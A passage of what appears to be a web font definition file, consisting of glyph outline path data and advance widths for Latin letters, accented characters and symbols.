9,-21,21,-21","w":194},{"d":"169,-261v84,0,156,71,156,155v0,84,-72,155,-156,155v-84,0,-155,-72,-155,-155v0,-83,71,-155,155,-155xm169,34v75,0,139,-67,139,-140v0,-73,-65,-140,-139,-140v-73,0,-138,67,-138,140v0,73,64,140,138,140xm180,-36v29,0,41,-16,52,-39r10,4v-12,27,-30,51,-69,51v-55,0,-85,-31,-87,-84v-2,-67,70,-107,130,-77v4,-5,6,-13,18,-11r1,64r-9,0v-8,-27,-20,-51,-55,-51v-33,1,-48,34,-48,73v0,39,22,70,57,70","w":339},{"d":"98,-178v50,-1,86,38,84,90v-2,55,-31,93,-87,93v-53,0,-82,-37,-83,-91v-1,-52,35,-92,86,-92xm98,-8v63,0,67,-157,0,-157v-38,0,-48,36,-49,76v0,43,10,81,49,81","w":194},{"d":"76,-34v50,0,101,1,100,52v-1,47,-41,58,-90,60v-44,1,-77,-9,-79,-45v-1,-28,28,-35,50,-42v-15,-5,-31,-10,-30,-31v1,-17,11,-24,26,-30r0,-3v-19,-9,-35,-23,-35,-49v-1,-45,53,-67,97,-51r60,0r0,17v-13,1,-30,-2,-41,1v34,42,-6,103,-70,89v-22,8,-12,32,12,32xm82,-78v22,0,32,-20,32,-43v0,-24,-10,-45,-32,-45v-23,0,-30,19,-30,44v0,23,10,44,30,44xm92,65v31,1,55,-11,55,-40v0,-36,-45,-23,-74,-28v-22,4,-35,13,-35,35v0,25,25,32,54,33","w":183},{"d":"84,17v39,-6,54,42,19,55v-13,5,-30,7,-49,6r0,-13v20,0,44,3,45,-15v0,-12,-18,-13,-29,-14r0,-39r14,0r0,20","w":180},{"d":"103,-303v-13,-12,5,-33,22,-23r56,54r-5,7v-24,-13,-54,-21,-73,-38xm134,-255v77,0,120,52,120,131v0,77,-44,130,-120,130v-76,0,-120,-52,-120,-130v0,-78,44,-131,120,-131xm134,-10v59,0,77,-52,77,-114v0,-63,-18,-116,-77,-116v-60,0,-77,54,-77,116v0,62,17,114,77,114","w":267},{"d":"107,-240v-36,-14,-73,29,-38,52v32,21,90,27,90,77v0,27,-21,47,-44,55v64,25,33,106,-35,101v-28,-2,-49,-6,-52,-30v0,-11,6,-19,17,-18v17,1,21,20,27,33v26,8,53,-8,53,-30v0,-53,-110,-39,-104,-105v2,-27,20,-43,43,-53v-21,-11,-36,-20,-36,-46v0,-38,33,-52,70,-52v27,0,53,6,53,31v0,10,-6,18,-18,17v-17,-2,-20,-18,-26,-32xm102,-61v28,-11,40,-47,16,-70v-9,-8,-23,-15,-40,-21v-29,7,-41,48,-17,69v9,8,23,15,41,22","w":180},{"d":"60,-246v-9,-15,9,-32,24,-21v19,22,26,38,46,66r-7,6","w":180},{"d":"75,-255v33,0,58,25,58,57v0,32,-26,57,-58,57v-32,0,-57,-25,-57,-57v0,-32,25,-57,57,-57xm76,-154v19,-1,31,-19,31,-43v1,-25,-10,-45,-32,-45v-42,1,-41,89,1,88","w":150},{"d":"172,-303v18,0,22,-11,27,-24r11,4v-6,21,-19,42,-45,43v-24,1,-33,-15,-54,-18v-22,-3,-16,33,-35,20v8,-19,18,-42,43,-43v24,-1,33,18,53,18xm49,-194v1,-28,-22,-40,-45,-43r0,-12r71,0r141,190v-4,-55,11,-131,-11,-168v-5,-3,-25,-9,-33,-10r0,-12r101,0r0,12v-16,3,-38,4,-38,25v0,66,-1,144,-2,214r-16,0r-151,-204r0,129v1,32,1,53,28,57v8,2,14,4,17,4r0,12r-103,0r0,-12v15,-4,38,-6,39,-24v5,-44,1,-109,2,-158","w":276},{"d":"87,-274v24,0,46,15,45,39v0,24,-19,40,-45,39v-26,0,-45,-15,-46,-39v-1,-23,22,-39,46,-39xm87,-207v16,0,23,-12,23,-28v0,-16,-7,-28,-23,-28v-15,0,-24,13,-24,28v0,16,8,28,24,28xm148,-77v0,27,-12,70,29,63r0,11v-24,13,-57,7,-62,-19v-20,35,-101,38,-101,-17v0,-55,68,-51,101,-72v1,-30,-3,-54,-33,-54v-9,0,-21,4,-25,8v5,16,6,39,-17,39v-12,0,-17,-10,-18,-20v5,-26,32,-38,62,-40v61,-5,64,39,64,101xm49,-43v-1,39,53,31,65,8r1,-61v-30,11,-64,15,-66,53","w":181},{"d":"120,-82r-105,0r0,-27r105,0r0,27","w":134},{"d":"133,-317v12,-23,51,-3,32,15v-16,15,-49,24,-73,37r-5,-7xm177,-224v-2,-13,-20,-11,-33,-13r0,-12r87,0r0,12v-36,5,-47,39,-63,64v-23,37,-40,68,-40,136v0,21,23,22,40,25r0,12r-117,0r0,-12v16,-2,42,-1,40,-23v-2,-33,4,-66,-12,-87v-29,-38,-32,-103,-87,-115r0,-12r107,0r0,12v-21,1,-40,1,-29,19r51,93v16,-28,47,-71,56,-99","w":221},{"d":"98,-178v50,-1,86,38,84,90v-2,55,-31,93,-87,93v-53,0,-82,-37,-83,-91v-1,-52,35,-92,86,-92xm98,-8v63,0,67,-157,0,-157v-38,0,-48,36,-49,76v0,43,10,81,49,81xm68,-246v-9,-15,9,-32,24,-21v19,22,26,38,46,66r-7,6","w":194},{"d":"183,-326v26,1,27,43,0,44v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm104,-326v25,0,26,44,0,44v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm145,-14v92,0,67,-114,64,-197v-1,-21,-23,-23,-41,-26r0,-12r101,0r0,12v-66,-2,-35,103,-40,164v-5,52,-39,79,-90,79v-52,0,-93,-23,-93,-72r0,-147v2,-19,-18,-22,-33,-24r0,-12r104,0r0,12v-16,2,-35,4,-34,22v7,81,-30,201,62,201","w":272},{"d":"94,-109v1,38,-20,59,-41,78r152,0r0,31r-184,0r0,-26v30,-11,37,-44,38,-83r-29,0r0,-17r29,0v-13,-68,13,-131,77,-130v36,1,61,18,63,52v0,12,-5,22,-18,22v-28,1,-23,-26,-17,-45v-21,-31,-73,-10,-72,37r2,64r70,0r0,17r-70,0","w":223},{"d":"141,-132v31,15,55,28,55,66v0,44,-43,72,-92,72v-47,0,-86,-26,-86,-70v0,-36,24,-51,55,-63v-25,-14,-45,-30,-45,-62v0,-39,41,-67,83,-67v42,0,76,25,76,64v0,29,-21,49,-46,60xm129,-138v37,-20,34,-104,-21,-104v-39,0,-61,52,-30,76v10,9,26,18,51,28xm108,-8v47,0,71,-58,35,-84v-15,-10,-38,-21,-58,-29v-49,19,-40,113,23,113","w":214},{"d":"86,-303v-11,-14,6,-32,23,-23r56,54r-5,7v-24,-13,-54,-22,-74,-38xm51,-28v1,11,22,16,36,16r0,12r-94,0r0,-12v20,-4,34,-13,41,-31r82,-210r14,0r89,226v5,9,18,14,31,15r0,12r-104,0r0,-12v15,-3,36,-1,30,-18r-20,-56r-88,0v-7,20,-15,36,-17,58xm149,-102r-38,-97r-37,97r75,0","w":241},{"d":"101,-36v-1,20,23,22,41,24r0,12r-118,0r0,-12v17,-3,43,1,43,-22r0,-123r-44,0r0,-15v29,3,54,-9,65,-22r15,0","w":154},{"d":"150,-207v-3,63,-70,62,-101,96r109,0r0,25r-132,0v-2,-67,88,-51,91,-122v2,-33,-41,-45,-59,-23v5,16,7,34,-15,34v-12,0,-16,-7,-16,-17v4,-55,126,-56,123,7","w":180},{"d":"88,-162v-2,34,24,42,54,45r0,23v-31,2,-57,10,-54,45v4,50,4,100,-43,105v-10,1,-21,3,-33,3r0,-15v46,5,47,-34,45,-79v-2,-44,23,-62,61,-68r0,-5v-53,-4,-66,-47,-61,-110v2,-30,-19,-37,-45,-38r0,-14v48,-1,80,14,78,63","w":154},{"d":"66,-53v-9,13,-35,41,0,42r0,11r-64,0r0,-11v40,-14,45,-40,73,-74v-18,-24,-33,-51,-53,-73v-4,-3,-10,-4,-17,-4r0,-11r75,0r0,11v-10,0,-22,2,-12,12r29,45v10,-16,25,-28,32,-48v0,-6,-12,-7,-18,-9r0,-11r64,0r0,11v-39,8,-48,42,-70,66v20,26,34,57,58,79v4,3,10,5,17,5r0,12r-80,0r0,-12v30,1,13,-20,2,-35r-19,-28v-6,8,-12,15,-17,22","w":181},{"d":"205,0r-179,0r0,-22r79,0r0,-71r-79,0r0,-22r79,0r0,-79r22,0r0,79r78,0r0,22r-78,0r0,71r78,0r0,22"},{"d":"283,-31v0,16,13,18,27,19r0,12r-85,0r0,-12v15,1,26,-3,25,-18v-4,-47,17,-124,-29,-127v-23,-1,-36,12,-44,26r0,100v0,15,11,18,25,19r0,12r-82,0r0,-12v15,1,25,-3,24,-18v-4,-47,17,-124,-29,-127v-21,-1,-37,14,-44,26r0,99v-1,15,12,20,26,20r0,12r-84,0r0,-12v15,1,26,-3,25,-18r0,-107v0,-17,-13,-21,-28,-23r0,-12v19,1,44,-6,60,-1v1,8,-3,21,2,25v17,-33,92,-43,104,1v14,-15,30,-31,60,-31v64,-3,47,86,47,147","w":317},{"d":"149,-202r-9,5r-49,-48r-48,48r-8,-5v16,-22,29,-47,47,-67v7,-4,23,-2,25,5xm105,-15v26,0,37,-12,49,-33r13,7v-14,25,-37,46,-72,46v-55,0,-82,-37,-82,-93v0,-51,28,-90,79,-90v51,0,72,33,70,86r-114,0v0,44,14,77,57,77xm128,-107v-1,-29,-6,-58,-36,-58v-29,1,-43,26,-44,58r80,0","w":174},{"d":"129,-152v0,-7,-15,-9,-22,-10r0,-11r76,0r0,11v-36,10,-55,32,-77,55v23,26,47,67,72,92v4,2,10,3,18,3r0,12r-52,0r-62,-87r-14,14v0,29,-7,65,26,61r0,12r-85,0r0,-12v16,1,27,-3,26,-18r0,-201v0,-18,-14,-27,-34,-26r0,-11v21,1,50,-8,67,-1r0,183v20,-22,43,-42,61,-66","w":192},{"d":"118,-160v40,0,73,38,71,79v-2,52,-35,86,-85,87v-102,2,-105,-150,-49,-210v26,-28,59,-46,101,-52r3,16v-59,10,-92,47,-102,104v17,-15,34,-23,61,-24xm104,-8v32,0,47,-31,47,-68v0,-35,-16,-63,-48,-63v-27,0,-48,10,-48,43v0,44,13,88,49,88","w":203},{"d":"79,-127r-23,0r0,-141r23,0r0,141xm79,75r-23,0r0,-143r23,0r0,143","w":135},{"d":"175,-135v0,72,-88,65,-126,104r135,0r0,31r-165,0v-1,-80,117,-48,117,-137v0,-46,-58,-55,-79,-26v7,19,9,47,-17,46v-13,0,-19,-10,-19,-23v0,-35,36,-52,76,-54v43,-1,78,20,78,59","w":201},{"d":"105,-15v26,0,37,-12,49,-33r13,7v-14,25,-37,46,-72,46v-55,0,-82,-37,-82,-93v0,-51,28,-90,79,-90v51,0,72,33,70,86r-114,0v0,44,14,77,57,77xm128,-107v-1,-29,-6,-58,-36,-58v-29,1,-43,26,-44,58r80,0xm98,-255v7,-25,50,-12,33,9v-16,20,-42,34,-62,51r-7,-6","w":174},{"d":"71,-32v0,15,12,20,26,20r0,12r-84,0r0,-12v15,1,25,-3,25,-18r0,-107v1,-18,-14,-21,-30,-23r0,-12v20,1,46,-6,63,-1r0,141xm10,-246v-9,-15,9,-32,24,-21v19,22,26,38,46,66r-7,6","w":105},{"d":"182,-88v6,75,-81,119,-137,75r-22,27r-11,-7r24,-29v-48,-49,-18,-156,62,-156v23,0,38,6,51,17r19,-25r10,8r-20,25v14,15,23,38,24,65xm98,-165v-53,0,-57,74,-44,121r80,-99v-7,-13,-17,-22,-36,-22xm98,-8v50,-3,54,-75,42,-123r-80,100v8,13,18,24,38,23","w":194},{"d":"171,-107v8,4,11,22,1,28r-62,58r-9,-7r45,-65r-45,-65r9,-7xm104,-107v8,3,11,23,1,28r-62,58r-9,-7r45,-65r-45,-65r9,-7","w":209},{"d":"180,-271r-8,6r-49,-37r-48,37r-9,-6r47,-55v8,-3,24,-2,26,5xm51,-28v1,11,22,16,36,16r0,12r-94,0r0,-12v20,-4,34,-13,41,-31r82,-210r14,0r89,226v5,9,18,14,31,15r0,12r-104,0r0,-12v15,-3,36,-1,30,-18r-20,-56r-88,0v-7,20,-15,36,-17,58xm149,-102r-38,-97r-37,97r75,0","w":241},{"d":"49,-44v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24","w":97},{"d":"118,-238v18,0,22,-11,27,-24r11,4v-5,39,-55,56,-87,28v-19,-10,-32,7,-37,21r-10,-5v8,-19,18,-41,44,-42v26,-1,31,18,52,18xm148,-77v0,27,-12,70,29,63r0,11v-24,13,-57,7,-62,-19v-20,35,-101,38,-101,-17v0,-55,68,-51,101,-72v1,-30,-3,-54,-33,-54v-9,0,-21,4,-25,8v5,16,6,39,-17,39v-12,0,-17,-10,-18,-20v5,-26,32,-38,62,-40v61,-5,64,39,64,101xm49,-43v-1,39,53,31,65,8r1,-61v-30,11,-64,15,-66,53","w":181},{"d":"110,-174v24,4,44,15,45,42v3,59,-122,72,-133,17v-2,-10,6,-18,15,-18v20,-1,21,16,15,31v24,18,69,8,69,-31v0,-29,-23,-34,-55,-31r0,-17v31,2,47,-5,47,-35v0,-28,-39,-35,-53,-16v6,14,3,31,-16,31v-10,0,-15,-7,-15,-16v0,-50,117,-53,118,1v0,26,-20,32,-37,42","w":180},{"d":"175,-28r-8,7r-67,-63v-7,-7,1,-20,5,-23r62,-58r8,7r-45,65xm108,-28r-8,7r-67,-63v-7,-8,0,-19,5,-23r62,-58r8,7r-45,65","w":209},{"d":"70,-303v-13,-12,6,-34,22,-23v21,14,38,37,57,54r-6,7v-24,-13,-54,-21,-73,-38xm131,-14v54,9,72,-26,83,-59r13,0r-5,73r-207,0r0,-12v17,-1,36,-3,36,-22r0,-179v2,-20,-20,-22,-36,-24r0,-12r193,0r0,60r-13,0v-7,-26,-28,-53,-68,-47r-39,0r0,100v42,4,69,-4,69,-41r13,0r0,97r-13,0v-1,-36,-26,-47,-69,-42v4,48,-19,120,43,108","w":235},{"d":"172,-35v0,15,10,21,26,20r0,12v-19,-1,-45,8,-59,1v-1,-7,2,-17,-1,-22v-13,15,-27,28,-57,28v-63,0,-48,-81,-48,-141v0,-17,-12,-21,-27,-23r0,-11v20,0,44,-6,61,-2r0,120v-6,51,60,43,72,13r0,-99v0,-18,-15,-21,-33,-21r0,-11v21,0,48,-6,66,-2r0,138xm139,-261v12,0,20,10,21,21v0,11,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm63,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-11,-21,-22v1,-11,9,-21,21,-21","w":207},{"d":"173,-160v-23,0,-21,-20,-16,-38v-6,-10,-20,-16,-37,-16r0,82v32,15,74,21,74,68v0,39,-36,65,-74,67r0,50r-15,0r0,-50v-41,1,-77,-21,-78,-56v0,-12,5,-22,18,-21v27,-1,18,26,12,43v7,13,26,21,48,20r0,-88v-31,-12,-71,-23,-71,-68v0,-34,35,-62,71,-61r0,-40r15,0r0,40v37,1,69,16,69,49v0,11,-3,19,-16,19xm105,-214v-44,-3,-55,63,-11,73r11,5r0,-78xm120,-11v26,-1,41,-14,41,-39v-1,-27,-18,-38,-41,-46r0,85","w":219},{"d":"127,-271r-8,6r-49,-37r-49,37r-8,-6r47,-55v8,-4,23,-2,26,5xm14,-12v14,-3,37,0,37,-21r0,-181v1,-19,-21,-20,-37,-23r0,-12r112,0r0,12v-18,1,-37,2,-37,22r0,180v-1,20,20,21,37,23r0,12r-112,0r0,-12","w":140},{"d":"114,-178v50,3,72,38,74,91v3,71,-67,111,-125,80r0,52v0,18,18,21,35,21r0,12r-97,0r0,-12v17,0,30,-3,30,-19r0,-278v1,-19,-16,-26,-34,-26r0,-11r64,-4v7,34,-2,83,3,119v10,-12,29,-26,50,-25xm104,-8v67,0,65,-150,-3,-151v-18,0,-29,11,-38,20r0,102v6,16,19,29,41,29","w":201},{"d":"192,-130v-3,-11,-16,-12,-30,-16r0,-12r94,0r0,12v-54,2,-52,61,-79,91v17,21,40,42,76,43r0,12r-72,0r-27,-30v-17,18,-35,36,-69,36v-43,0,-72,-23,-72,-67v0,-41,23,-55,55,-77v-15,-22,-30,-33,-30,-63v0,-35,25,-54,61,-54v33,0,55,17,55,49v0,34,-24,49,-49,63v20,29,41,51,63,77v12,-20,23,-39,24,-64xm97,-153v36,-9,51,-82,4,-87v-46,8,-28,64,-4,87xm75,-127v-41,22,-32,112,24,109v20,0,37,-10,46,-22","w":255},{"d":"37,78v-36,-12,-6,-66,-6,-102r0,-149r33,0r0,119v-5,49,61,44,72,13r0,-132r33,0r0,137v-1,18,11,22,30,21r0,12v-27,12,-58,5,-64,-21v-13,25,-66,40,-90,13v-6,31,30,82,-8,89","w":203},{"d":"163,-303v18,0,22,-11,27,-24r11,4v-5,39,-55,56,-87,28v-20,-11,-32,8,-37,21r-10,-4v8,-19,18,-42,44,-43v25,-1,32,18,52,18xm134,-255v77,0,120,52,120,131v0,77,-44,130,-120,130v-76,0,-120,-52,-120,-130v0,-78,44,-131,120,-131xm134,-10v59,0,77,-52,77,-114v0,-63,-18,-116,-77,-116v-60,0,-77,54,-77,116v0,62,17,114,77,114","w":267},{"d":"127,-249v78,4,129,44,129,126v0,81,-56,123,-136,123r-103,0r0,-12v17,0,35,-3,34,-21r0,-90r-33,0r0,-17r33,0r0,-73v2,-19,-17,-22,-33,-24r0,-12r109,0xm126,-14v63,-4,87,-44,87,-109v0,-75,-42,-121,-125,-111r0,94r53,0r0,17r-53,0v4,45,-19,113,38,109","w":269},{"d":"57,66v-15,17,-58,17,-58,-9v0,-34,40,-16,45,2v13,-7,33,-44,38,-60r-58,-142v-4,-10,-16,-17,-27,-19r0,-11r79,0r0,12v-10,0,-26,3,-18,15r42,103v12,-36,31,-63,41,-106v-1,-6,-16,-12,-23,-13r0,-11r64,0v4,20,-23,14,-26,31r-62,147v-12,26,-22,44,-37,61xm133,-261v12,0,20,10,21,21v0,11,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm57,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-11,-21,-22v1,-11,9,-21,21,-21","w":177},{"d":"51,-122v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24","w":100},{"d":"105,-114v-1,16,20,14,34,15r0,13r-100,0r0,-13v17,0,36,3,36,-14r0,-111r-36,0r0,-13v23,2,44,-6,54,-17r13,0","w":180},{"d":"56,-203v7,78,132,44,132,132v0,70,-96,96,-147,58v-4,8,-8,16,-22,13r-2,-85r14,0v12,39,28,75,75,75v30,0,49,-13,47,-44v-4,-80,-129,-42,-129,-133v0,-67,88,-84,131,-50v3,-8,7,-15,21,-12r1,82r-14,0v-11,-35,-21,-72,-66,-73v-21,0,-43,16,-41,37","w":201},{"d":"153,-301v18,0,22,-11,27,-24r11,4v-5,39,-55,56,-87,28v-19,-10,-32,7,-37,21r-10,-5v8,-19,18,-41,44,-42v25,-1,32,18,52,18xm51,-28v1,11,22,16,36,16r0,12r-94,0r0,-12v20,-4,34,-13,41,-31r82,-210r14,0r89,226v5,9,18,14,31,15r0,12r-104,0r0,-12v15,-3,36,-1,30,-18r-20,-56r-88,0v-7,20,-15,36,-17,58xm149,-102r-38,-97r-37,97r75,0","w":241},{"d":"253,-249r-130,249r-24,0r130,-249r24,0xm89,-114v-1,16,20,14,34,15r0,13r-100,0r0,-13v17,0,36,3,36,-14r0,-111r-36,0r0,-13v23,2,44,-6,54,-17r13,0xm351,-121v-3,63,-70,62,-101,96r109,0r0,25r-132,0v-2,-67,88,-51,91,-122v2,-33,-41,-45,-59,-23v5,16,7,34,-15,34v-12,0,-16,-7,-16,-17v4,-55,126,-56,123,7","w":377},{"d":"144,-124v10,13,9,38,0,51r33,33r-15,15r-34,-32v-13,9,-37,9,-50,0r-34,33r-15,-16r33,-33v-10,-12,-10,-39,0,-51r-33,-33r16,-15r33,33v11,-10,39,-10,50,-1r33,-32r16,15xm103,-69v15,0,28,-14,28,-29v0,-15,-13,-29,-28,-29v-16,0,-29,14,-29,29v0,15,14,29,29,29","w":205},{"d":"40,-303v-13,-12,5,-33,22,-23r56,54r-5,7v-24,-13,-54,-21,-73,-38xm14,-12v14,-3,37,0,37,-21r0,-181v1,-19,-21,-20,-37,-23r0,-12r112,0r0,12v-18,1,-37,2,-37,22r0,180v-1,20,20,21,37,23r0,12r-112,0r0,-12","w":140},{"d":"173,-326v11,0,21,10,21,22v0,12,-10,22,-21,22v-25,0,-26,-44,0,-44xm94,-326v11,0,21,10,21,22v0,12,-10,22,-21,22v-25,0,-26,-44,0,-44xm134,-255v77,0,120,52,120,131v0,77,-44,130,-120,130v-76,0,-120,-52,-120,-130v0,-78,44,-131,120,-131xm134,-10v59,0,77,-52,77,-114v0,-63,-18,-116,-77,-116v-60,0,-77,54,-77,116v0,62,17,114,77,114","w":267},{"d":"200,-271r-9,6r-49,-37r-48,37r-9,-6v16,-18,30,-39,48,-55v7,-4,23,-2,25,5xm145,-14v92,0,67,-114,64,-197v-1,-21,-23,-23,-41,-26r0,-12r101,0r0,12v-66,-2,-35,103,-40,164v-5,52,-39,79,-90,79v-52,0,-93,-23,-93,-72r0,-147v2,-19,-18,-22,-33,-24r0,-12r104,0r0,12v-16,2,-35,4,-34,22v7,81,-30,201,62,201","w":272},{"d":"117,65v29,7,42,-28,11,-28v-4,0,-7,-1,-10,-1r0,-31v-66,-8,-100,-54,-104,-127v-5,-102,96,-164,180,-115v4,-7,8,-15,22,-12r1,89r-14,0v-10,-37,-23,-80,-68,-80v-58,0,-79,53,-79,115v0,61,25,111,84,111v40,0,61,-25,73,-55r14,6v-18,42,-44,66,-96,69r0,11v40,-7,56,42,20,55v-13,5,-30,7,-49,6r0,-13r15,0"},{"d":"139,-174v0,25,-7,54,25,50r0,10v-21,11,-49,6,-53,-16v-18,28,-84,32,-84,-13v0,-47,56,-43,85,-60v6,-32,-25,-51,-47,-33v5,17,1,31,-17,30v-10,1,-14,-9,-14,-17v0,-19,31,-32,52,-32v51,0,53,34,53,81xm73,-174v-20,9,-21,49,6,47v16,-1,24,-8,32,-15r1,-47v-14,4,-27,9,-39,15","w":180},{"d":"91,-255v41,0,70,32,69,73v-1,42,-28,75,-71,75v-40,0,-69,-33,-69,-74v0,-42,29,-74,71,-74xm90,-120v52,-1,51,-120,1,-122v-54,0,-51,120,-1,122","w":180},{"w":86},{"d":"176,-271r-8,6r-49,-37r-48,37r-9,-6v16,-18,30,-39,48,-55v7,-4,23,-2,25,5xm131,-14v54,9,72,-26,83,-59r13,0r-5,73r-207,0r0,-12v17,-1,36,-3,36,-22r0,-179v2,-20,-20,-22,-36,-24r0,-12r193,0r0,60r-13,0v-7,-26,-28,-53,-68,-47r-39,0r0,100v42,4,69,-4,69,-41r13,0r0,97r-13,0v-1,-36,-26,-47,-69,-42v4,48,-19,120,43,108","w":235},{"d":"172,-35v0,15,10,21,26,20r0,12v-19,-1,-45,8,-59,1v-1,-7,2,-17,-1,-22v-13,15,-27,28,-57,28v-63,0,-48,-81,-48,-141v0,-17,-12,-21,-27,-23r0,-11v20,0,44,-6,61,-2r0,120v-6,51,60,43,72,13r0,-99v0,-18,-15,-21,-33,-21r0,-11v21,0,48,-6,66,-2r0,138xm106,-255v7,-25,50,-12,33,9v-16,20,-42,34,-62,51r-7,-6","w":207},{"d":"180,-12v5,82,-156,108,-169,26v-2,-12,6,-23,18,-23v25,0,24,26,17,44v32,31,104,10,95,-47v2,-41,-26,-54,-71,-50r0,-20v43,4,61,-13,61,-54v0,-47,-53,-56,-76,-27v5,17,11,49,-17,46v-12,0,-18,-11,-18,-22v0,-37,36,-54,78,-55v43,0,69,20,72,57v3,39,-27,49,-52,63v35,5,59,21,62,62","w":198},{"d":"211,-190v1,43,-27,57,-61,67v29,35,51,79,87,106v5,3,17,4,23,5r0,12r-67,0r-79,-113r-26,0r0,79v-2,20,18,20,35,22r0,12r-106,0r0,-12v16,-2,34,-3,34,-22r0,-180v2,-19,-19,-21,-34,-23r0,-12v79,5,193,-23,194,59xm88,-128v47,5,80,-15,80,-58v0,-42,-34,-53,-80,-49r0,107","w":252},{"d":"71,-32v0,15,12,20,26,20r0,12r-84,0r0,-12v15,1,25,-3,25,-18r0,-107v1,-18,-14,-21,-30,-23r0,-12v20,1,46,-6,63,-1r0,141xm98,-202r-8,5r-43,-48r-42,48r-9,-5r41,-67v8,-5,24,-1,26,6","w":105},{"d":"88,-199v64,-5,121,9,121,66v0,63,-52,80,-121,76r0,23v-2,20,19,20,36,22r0,12r-107,0r0,-12v16,-2,34,-3,34,-22r0,-180v1,-19,-19,-21,-34,-23r0,-12r105,0r0,12v-23,0,-40,8,-34,38xm88,-72v47,3,77,-11,77,-55v0,-46,-27,-62,-77,-57r0,112","w":221},{"d":"14,-12v14,-3,37,0,37,-21r0,-181v1,-19,-21,-20,-37,-23r0,-12r112,0r0,12v-18,1,-37,2,-37,22r0,180v-1,20,20,21,37,23r0,12r-112,0r0,-12xm108,-325v12,0,20,10,21,21v0,11,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm32,-325v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-11,-21,-22v1,-11,9,-21,21,-21","w":140},{"d":"191,-16r-36,0r0,80r-34,0r0,-80r-112,0r0,-27r123,-150r23,0r0,154r36,0r0,23xm121,-39r0,-115r-95,115r95,0","w":203},{"d":"144,-203r-9,5r-49,-48r-48,48r-9,-5v16,-22,30,-47,48,-67v7,-4,23,-2,25,5xm148,-77v0,27,-12,70,29,63r0,11v-24,13,-57,7,-62,-19v-20,35,-101,38,-101,-17v0,-55,68,-51,101,-72v1,-30,-3,-54,-33,-54v-9,0,-21,4,-25,8v5,16,6,39,-17,39v-12,0,-17,-10,-18,-20v5,-26,32,-38,62,-40v61,-5,64,39,64,101xm49,-43v-1,39,53,31,65,8r1,-61v-30,11,-64,15,-66,53","w":181},{"d":"158,-202r-9,5r-49,-48r-48,48r-8,-5v16,-22,29,-47,47,-67v7,-4,23,-2,25,5xm172,-35v0,15,10,21,26,20r0,12v-19,-1,-45,8,-59,1v-1,-7,2,-17,-1,-22v-13,15,-27,28,-57,28v-63,0,-48,-81,-48,-141v0,-17,-12,-21,-27,-23r0,-11v20,0,44,-6,61,-2r0,120v-6,51,60,43,72,13r0,-99v0,-18,-15,-21,-33,-21r0,-11v21,0,48,-6,66,-2r0,138","w":207},{"d":"254,-249r-130,249r-23,0r129,-249r24,0xm349,-37r-27,0r0,41r-30,0r0,-41r-87,0r0,-22r96,-110r21,0r0,113r27,0r0,19xm292,-56r0,-80r-69,80r69,0xm89,-114v-1,16,20,14,34,15r0,13r-100,0r0,-13v17,0,36,3,36,-14r0,-111r-36,0r0,-13v23,2,44,-6,54,-17r13,0","w":377},{"d":"199,-15v27,0,37,-15,47,-34r12,8v-16,53,-107,60,-134,13v-20,40,-110,49,-110,-11v0,-54,62,-56,99,-70v1,-30,-2,-56,-31,-56v-10,0,-21,4,-25,8v4,19,5,39,-18,39v-11,0,-18,-10,-17,-20v4,-45,93,-54,116,-19v10,-11,29,-21,49,-21v48,1,68,31,67,81r-109,0v0,48,13,81,54,82xm219,-111v-1,-27,-5,-54,-34,-54v-26,-1,-40,28,-40,54r74,0xm49,-44v-3,41,53,32,64,10r0,-60v-32,6,-61,15,-64,50","w":265},{"d":"160,-326v11,0,21,10,21,22v0,12,-10,22,-21,22v-25,0,-26,-44,0,-44xm81,-326v11,0,21,10,21,22v0,12,-10,22,-21,22v-25,0,-26,-44,0,-44xm131,-14v54,9,72,-26,83,-59r13,0r-5,73r-207,0r0,-12v17,-1,36,-3,36,-22r0,-179v2,-20,-20,-22,-36,-24r0,-12r193,0r0,60r-13,0v-7,-26,-28,-53,-68,-47r-39,0r0,100v42,4,69,-4,69,-41r13,0r0,97r-13,0v-1,-36,-26,-47,-69,-42v4,48,-19,120,43,108","w":235},{"d":"120,-82r-105,0r0,-27r105,0r0,27","w":134},{"d":"79,75r-23,0r0,-343r23,0r0,343","w":135},{"d":"51,-213v2,-20,-20,-22,-36,-24r0,-12r196,0r0,62r-13,0v-8,-25,-26,-49,-68,-49r-42,0r0,101v41,3,72,-2,71,-41r14,0r0,98r-14,0v1,-38,-27,-48,-71,-43r0,86v-2,19,19,21,35,23r0,12r-108,0r0,-12v16,-2,36,-2,36,-21r0,-180","w":215},{"d":"134,-255v77,0,120,52,120,131v0,66,-34,104,-82,123v-1,37,39,60,77,47r0,14v-50,19,-120,3,-119,-54v-74,-6,-116,-54,-116,-130v0,-78,44,-131,120,-131xm134,-10v59,0,77,-52,77,-114v0,-63,-18,-116,-77,-116v-60,0,-77,54,-77,116v0,62,17,114,77,114","w":267},{"d":"146,-133v38,5,73,22,73,65v0,87,-115,66,-202,68r0,-12v15,-2,34,-4,34,-22r0,-179v1,-19,-18,-22,-33,-24r0,-12v76,5,185,-23,188,54v1,40,-32,50,-60,62xm88,-139v46,3,75,-8,75,-53v0,-41,-34,-48,-75,-43r0,96xm122,-14v36,-2,54,-22,54,-60v1,-43,-40,-57,-88,-50v5,43,-20,113,34,110","w":235},{"d":"56,-174v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24v0,-13,11,-24,24,-24xm53,-44v41,0,34,64,12,81v-8,11,-21,19,-32,25r-8,-12v20,-12,35,-25,40,-50v-20,1,-34,-5,-34,-23v0,-10,10,-21,22,-21","w":112},{"d":"93,-236v-50,-7,-67,22,-78,54r-12,0r0,-67r217,0r0,67r-12,0v-11,-32,-28,-61,-78,-54r0,200v-1,20,23,21,40,24r0,12r-118,0r0,-12v16,-3,41,-1,41,-23r0,-201","w":222},{"d":"168,-289v0,21,-17,37,-37,38r88,224v5,9,18,14,31,15r0,12r-104,0r0,-12v15,-3,36,-1,30,-18r-20,-56r-88,0v-7,20,-15,36,-17,58